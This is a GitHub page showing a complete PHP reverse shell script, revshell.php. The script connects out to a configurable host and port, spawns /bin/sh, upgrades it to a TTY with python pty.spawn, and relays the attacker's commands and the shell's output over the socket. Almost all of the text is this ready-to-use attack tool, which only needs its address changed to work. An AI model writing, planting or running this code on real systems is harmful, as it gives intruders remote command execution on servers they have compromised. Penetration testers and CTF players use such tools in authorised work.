-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathrevshell.php
More file actions
163 lines (125 loc) · 4.37 KB
/
revshell.php
File metadata and controls
163 lines (125 loc) · 4.37 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
<?php
// AUTHOR: EVAN STELLA
// CHANGE THE FOLLOWING PARAMS AS NEEDED:
//---------------------------------------------------------------
$addr = '127.0.0.1'; # shell destination (loopback for testing)
$port = 5555; # shell destination port
$timeout = 20.0; # connection timeout time (seconds):
$shell = '/bin/sh -i'; # shell to run
//---------------------------------------------------------------
// open a socket to connect to host
$socket = fsockopen($addr, $port, $errno, $errstr, $timeout);
// check if connection successful
if (!$socket)
{
exit("UNABLE TO CONNECT TO HOST\n");
}
// notify host
fwrite($socket, "[+] CONNECTION ESTABLISHED\n");
// set socket to non-blocking
stream_set_blocking($socket , FALSE);
// file descriptors
$descriptorspec = array
(
0 => array( "pipe", "r" ), #stdin
1 => array( "pipe", "w" ), #stdout
2 => array( "pipe", "w" ) #stderr
);
fwrite($socket, "[*] ATTEMPTING TO SPAWN SHELL\n");
// get a shell
$process = proc_open($shell, $descriptorspec, $pipes);
// make sure we have a shell
if ( !is_resource($process) )
{
fwrite($socket, "[-] FAILED TO SPAWN A SHELL ON TARGET\n");
exit("FAILED TO SPAWN SHELL\n");
}
// notify host
fwrite($socket, "[+] SHELL SPAWNED SUCCESSFULLY\n");
// set data streams to non-blocking so they
// don't wait for data when being read
stream_set_blocking($pipes[0], FALSE);
stream_set_blocking($pipes[1], FALSE);
stream_set_blocking($pipes[2], FALSE);
//attempt to stablize shell
fwrite($socket, "[*] ATTEMPTING TO STABILIZE SHELL\n");
if ( cmdExists("python") && cmdExists("bash") )
{
fwrite($pipes[0], "python -c 'import pty; pty.spawn(\"/bin/bash\")'");
fwrite($socket, "[+] SHELL STABILIZED :: HIT 'ENTER'\n");
}
elseif ( cmdExists("python3") && cmdExists("bash") )
{
fwrite($pipes[0], "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'");
fwrite($socket, "[+] SHELL STABILIZED :: HIT 'ENTER'\n");
}
elseif ( cmdExists("python") )
{
fwrite($pipes[0], "python -c 'import pty; pty.spawn(\"/bin/sh\")'");
fwrite($socket, "[+] SHELL STABILIZED :: HIT 'ENTER'\n");
}
elseif ( cmdExists("python3") )
{
fwrite($pipes[0], "python3 -c 'import pty; pty.spawn(\"/bin/sh\")'");
fwrite($socket, "[+] SHELL STABILIZED :: HIT 'ENTER'\n");
}
else
{
fwrite($socket, "[-] UNABLE TO STABILIZE SHELL\n[-] TTY FUNCTIONALITY IS NOT AVAILABLE\n");
}
// now we've got a reverse shell.
// handle io:
while (TRUE)
{
// check our connection to the host:
// we've lost our shell if we've
// reached EOF on the socket or
// or stdout pointers
if ( feof($socket) || feof($pipes[1]) )
{
break;
}
// keeps track of the state of incoming
// data from the host, stdout, and stderr
$traffic = array($socket, $pipes[1], $pipes[2]);
// dummy variables because we only care about traffic
$write = null; $except = null;
// wait for traffic
$changedStreams = stream_select($traffic,$write,$except,null);
// incoming commands from host:
if ( in_array($socket, $traffic) )
{
// get incomming command and send to stdin
$command = fread($socket, 1500);
fwrite($pipes[0], $command);
}
// outgoing messages from stdout
if ( in_array($pipes[1], $traffic) )
{
// get outgoing message and send to host
$message = fread($pipes[1], 1500);
fwrite ($socket, $message);
}
// outgoing messages from stderr
if ( in_array($pipes[2], $traffic) )
{
// get outgoing message and send to host
$message = fread($pipes[2], 1500);
fwrite ($socket, $message);
}
}
// clean up nice
fclose($socket);
proc_close($process);
//check if a command is runnable on the system
function cmdExists ($cmd)
{
// attempt to execute, if returns false
// we know we can't run that command
if ( !shell_exec("which $cmd") )
{
return false;
}
return true;
}
?>